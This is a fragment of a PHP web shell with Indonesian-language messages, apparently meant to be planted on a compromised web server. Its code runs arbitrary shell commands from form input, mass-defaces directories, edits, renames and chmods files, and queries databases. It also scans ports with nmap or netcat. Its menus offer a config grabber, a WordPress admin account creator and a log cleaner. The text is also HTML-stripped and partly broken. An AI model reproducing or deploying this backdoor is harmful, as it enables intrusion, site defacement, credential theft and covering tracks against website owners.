";
sabun_massal_recursive($d_dir, $d_file, $script_content, $mass_deface_results, $mass_deface_base_dir); // Pass new param
$mass_deface_results .= "
";
} elseif($_POST['tipe_sabun'] == 'murah') {
$mass_deface_results = "";
sabun_biasa_non_recursive($d_dir, $d_file, $script_content, $mass_deface_results, $mass_deface_base_dir); // Pass new param
$mass_deface_results .= "
";
}
}
// Command execution
$cmd_output = '';
if(isset($_POST['do_cmd'])){
$cmd_output = exe($_POST['cmd_input']);
}
// File/Folder Operations (delete, chmod, rename, edit, create)
// These are triggered by 'opt_action' via POST, and 'option' GET parameter
if(isset($_GET['option']) && isset($_POST['path_target']) && isset($_POST['opt_action'])){
$target_full_path = $_POST['path_target']; // Direct path for operations
$action = $_POST['opt_action'];
$current_dir_for_redirect = isset($_GET['path']) ? $_GET['path'] : getcwd();
switch ($action) {
// DELETE action handler removed from here
case 'chmod_save':
if(isset($_POST['perm_value']) && file_exists($target_full_path)){
$perm = octdec($_POST['perm_value']);
if(chmod($target_full_path,$perm)){
redirect_to_current_path('success', 'CHANGE PERMISSION SUCCESS !!', $current_dir_for_redirect);
} else {
redirect_to_current_path('error', 'Change Permission Gagal !!', $current_dir_for_redirect);
}
} else {
redirect_to_current_path('error', 'Target atau izin tidak valid!', $current_dir_for_redirect);
}
break;
case 'rename_save':
if(isset($_POST['new_name_value']) && file_exists($target_full_path)){
$new_name_base = sanitizeFilename($_POST['new_name_value']); // Sanitize new filename
$new_full_path = dirname($target_full_path).'/'.$new_name_base;
if(rename($target_full_path, $new_full_path)){
redirect_to_current_path('success', 'CHANGE NAME SUCCESS !!: ' . $new_name_base, $current_dir_for_redirect);
} else {
redirect_to_current_path('error', 'Change Name Gagal !!', $current_dir_for_redirect);
}
} else {
redirect_to_current_path('error', 'Target atau nama baru tidak valid!', $current_dir_for_redirect);
}
break;
case 'edit_save':
if(isset($_POST['src_content']) && file_exists($target_full_path)){
if(is_writable($target_full_path)) {
if(file_put_contents($target_full_path,$_POST['src_content'])){
redirect_to_current_path('success', 'EDIT FILE SUCCESS !!', $current_dir_for_redirect);
} else {
redirect_to_current_path('error', 'Edit File Gagal !!', $current_dir_for_redirect);
}
} else {
redirect_to_current_path('error', 'File tidak writable!', $current_dir_for_redirect);
}
} else {
redirect_to_current_path('error', 'Target atau konten tidak valid!', $current_dir_for_redirect);
}
break;
}
}
if(isset($_GET['create_new']) && isset($_POST['create_type']) && isset($_POST['create_name'])) {
$create_type = $_POST['create_type'];
$create_name = sanitizeFilename($_POST['create_name']); // Sanitize filename
$target_path_new = $path . '/' . $create_name;
if ($create_type == 'file') {
if (file_put_contents($target_path_new, '') !== false) {
redirect_to_current_path('success', 'File Baru Berhasil Dibuat: ' . $create_name, $path);
} else {
redirect_to_current_path('error', 'Gagal membuat file baru!', $path);
}
} elseif ($create_type == 'dir') {
if (mkdir($target_path_new)) {
redirect_to_current_path('success', 'Folder Baru Berhasil Dibuat: ' . $create_name, $path);
} else {
redirect_to_current_path('error', 'Gagal membuat folder baru!', $path);
}
}
}
// SQL Client
if(isset($_POST['sql_client_submit'])) {
$db_host = $_POST['db_host'];
$db_user = $_POST['db_user'];
$db_pass = $_POST['db_pass'];
$db_name = $_POST['db_name'];
$sql_query = $_POST['sql_query'];
$sql_output = '';
$conn = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
$sql_output = "Koneksi Gagal: " . mysqli_connect_error();
} else {
$query_result = @mysqli_query($conn, $sql_query);
if ($query_result === false) {
$sql_output = "Query Gagal: " . mysqli_error($conn);
} else {
if (is_object($query_result) && method_exists($query_result, 'fetch_assoc')) { // Check if it's a SELECT query result
$sql_output .= "
{$msg_text}";
}
// --- DISPLAY FEATURE OUTPUTS ---
// Handler to clear feature output when Home or Clear button is clicked
// This handler must be BEFORE the feature_output-box display
if (isset($_GET['clear_output']) && $_GET['clear_output'] === 'true') {
unset($_SESSION['feature_output']);
// Redirect to clear clear_output param from URL
$current_url_base = strtok($_SERVER["REQUEST_URI"], '?');
$query_params = $_GET;
unset($query_params['clear_output']);
$new_query_string = http_build_query($query_params);
header("Location: {$current_url_base}?" . $new_query_string);
exit();
}
if (isset($_SESSION['feature_output']) && !empty($_SESSION['feature_output'])) {
echo '';
echo '
Feature Output Clear:
'; // Added Clear button
echo '
' . $_SESSION['feature_output'] . '
'; //setelah clear klik logonya y
echo '
| User / IP |
: |
| Host / Server |
: |
| Web Server |
: |
| System |
: |
| PHP Version |
: |
| Current Path |
: |
| Disk Free |
: GB |
| Load Average |
:
number_format($v, 2), $load));
?>
|
| Server Time |
: |
| User Agent |
: |
:
/'; // Link to root (Linux)
$current_built_path = '';
foreach($paths_array as $id=>$pat){
if(empty($pat)) continue;
$current_built_path .= '/' . $pat;
echo '
'.$pat.'/';
}
?>
';
echo "Execute Command
";
echo "";
if(isset($_POST['do_cmd'])) {
$cmd_output = exe($_POST['cmd_input']);
echo "".htmlspecialchars($cmd_output)."
";
}
echo '';
break;
case 'upload_form':
$show_file_list = false;
echo '';
echo '
Upload File
';
echo '';
echo '';
break;
case 'mass_deface_form':
$show_file_list = false;
echo '';
echo '
Mass Deface
';
if (!empty($mass_deface_results)) {
echo "
Mass Deface Results:
";
echo "
".$mass_deface_results."
";
}
echo "
";
echo '
';
echo '
Encoder / Decoder
';
// Output handled by general display block above
echo '';
echo '';
break;
case 'config_grabber_form':
$show_file_list = false;
echo '';
echo '
Config Grabber
';
// Output handled by general display block above
echo '';
echo '';
break;
case 'wp_admin_form':
$show_file_list = false;
echo '';
echo '
WordPress Admin Creator
';
// Output handled by general display block above
echo '';
echo '';
break;
case 'sql_client_form':
$show_file_list = false;
echo '';
echo '
SQL Client
';
// Output handled by general display block above
echo '';
echo '';
break;
case 'log_cleaner_form':
$show_file_list = false;
echo '';
echo '
Log Cleaner
';
// Output handled by general display block above
echo '
';
echo '
';
echo '
Ping Tool
';
echo '
'; // Changed name to ping_submit
if(isset($_POST['ping_submit'])) { // Handle POST here directly
$target_host = $_POST['ping_target'];
$ping_count = intval($_POST['ping_count']);
if ($ping_count <= 0 || $ping_count > 10) $ping_count = 4;
$ping_cmd = "ping -c {$ping_count} " . escapeshellarg($target_host);
$ping_output = exe($ping_cmd);
echo "
".htmlspecialchars($ping_output)."
";
}
echo '
';
echo '
Port Scanner
';
echo '
'; // Changed name to portscan_submit
if(isset($_POST['portscan_submit'])) { // Handle POST here directly
$target_host = $_POST['portscan_target'];
$ports_to_scan = $_POST['ports_to_scan'];
$scan_output = "";
if (function_exists('exec') || function_exists('shell_exec')) {
if (trim(exe('which nmap')) !== '') {
$scan_cmd = "nmap -p " . escapeshellarg($ports_to_scan) . " " . escapeshellarg($target_host);
$scan_output = exe($scan_cmd);
} elseif (trim(exe('which nc')) !== '') {
$ports_array = explode(',', $ports_to_scan);
foreach ($ports_array as $port_range) {
if (strpos($port_range, '-') !== false) {
list($start_port, $end_port) = explode('-', $port_range);
for ($p = (int)$start_port; $p <= (int)$end_port; $p++) {
$nc_cmd = "nc -zvn " . escapeshellarg($target_host) . " " . escapeshellarg($p) . " 2>&1";
$scan_output .= exe($nc_cmd) . "\n";
}
} else {
$nc_cmd = "nc -zvn " . escapeshellarg($target_host) . " " . escapeshellarg($port_range) . " 2>&1";
$scan_output .= exe($nc_cmd) . "\n";
}
}
$scan_output = "Nmap not found, using Netcat. Output might be verbose:\n" . $scan_output;
} else { $scan_output = "Error: Nmap or Netcat not found on server."; }
} else { $scan_output = "Error: Command execution functions are disabled."; }
echo "
".htmlspecialchars($scan_output)."
";
}
echo '
';
echo '
DNS Lookup
';
echo '
'; // Changed name to dns_lookup_submit
if(isset($_POST['dns_lookup_submit'])) { // Handle POST here directly
$target_domain = $_POST['dns_lookup_target'];
$record_type = $_POST['dns_record_type'];
$dns_output = "";
if (trim(exe('which dig')) !== '') {
$dns_cmd = "dig " . escapeshellarg($target_domain) . " " . escapeshellarg($record_type);
$dns_output = exe($dns_cmd);
} elseif (trim(exe('which nslookup')) !== '') {
$dns_cmd = "nslookup -type=" . escapeshellarg($record_type) . " " . escapeshellarg($target_domain);
$dns_output = exe($dns_cmd);
} else { $dns_output = "Error: dig or nslookup not found on server."; }
echo "
".htmlspecialchars($dns_output)."
";
}
echo '
';
echo '
Whois Lookup
';
echo '
'; // Changed name to whois_submit
if(isset($_POST['whois_submit'])) { // Handle POST here directly
$target_domain = $_POST['whois_target'];
$whois_output = "";
if (trim(exe('which whois')) !== '') {
$whois_cmd = "whois " . escapeshellarg($target_domain);
$whois_output = exe($whois_cmd);
} else { $whois_output = "Error: whois command not found on server."; }
echo "
".htmlspecialchars($whois_output)."
";
}
echo '
';
echo "
Viewing: ".htmlspecialchars(basename($file_to_view))."
";
if (is_file($file_to_view) && is_readable($file_to_view)) {
echo('
');
} else {
echo '
File not found or not readable!
';
}
echo '
Back to Explorer
';
echo '
';
echo "
Editing: ".htmlspecialchars(basename($file_to_edit))."
";
if (is_file($file_to_edit) && is_readable($file_to_edit)) {
echo '
';
} else {
echo '
File not found or not readable for editing!
';
echo '
Back to Explorer
';
}
echo '
';
echo "
Rename: ".htmlspecialchars(basename($file_to_rename))."
";
echo '
';
echo '
';
echo "
Chmod: ".htmlspecialchars(basename($file_to_chmod))."
";
$current_perms = file_exists($file_to_chmod) ? substr(sprintf('%o', @fileperms($file_to_chmod)), -4) : '0000';
echo '
';
echo '
| Name |
Size |
Perm |
Options |
';
usort($scandir_items, function($a, $b) use ($path) {
$pathA = $path . '/' . $a;
$pathB = $path . '/' . $b;
$is_dir_A = is_dir($pathA);
$is_dir_B = is_dir($pathB);
if ($is_dir_A && !$is_dir_B) return -1;
if (!$is_dir_A && $is_dir_B) return 1;
return strcasecmp($a, $b);
});
foreach($scandir_items as $item){
if($item == '.') continue; // Skip . (current directory)
$full_item_path = $path.'/'.$item;
$display_name = htmlspecialchars($item);
$encoded_full_item_path = urlencode($full_item_path);
echo "
| ";
if($item == '..') { // Up one folder
$parent_dir = dirname($path);
echo " $display_name | ";
} elseif(is_dir($full_item_path)) {
echo " $display_name";
} else {
echo " $display_name";
}
echo "";
echo (is_file($full_item_path) ? round(filesize($full_item_path)/1024,3).' KB' : '--');
echo " | ";
echo "";
if(file_exists($full_item_path)) {
$perms_str = perms($full_item_path);
if(is_writable($full_item_path)) echo ''; // Writable is green
elseif(!is_readable($full_item_path)) echo ''; // Non-readable is red
echo $perms_str;
if(is_writable($full_item_path) || !is_readable($full_item_path)) echo '';
} else {
echo '????';
}
echo " | ";
echo "
|
";
}
echo '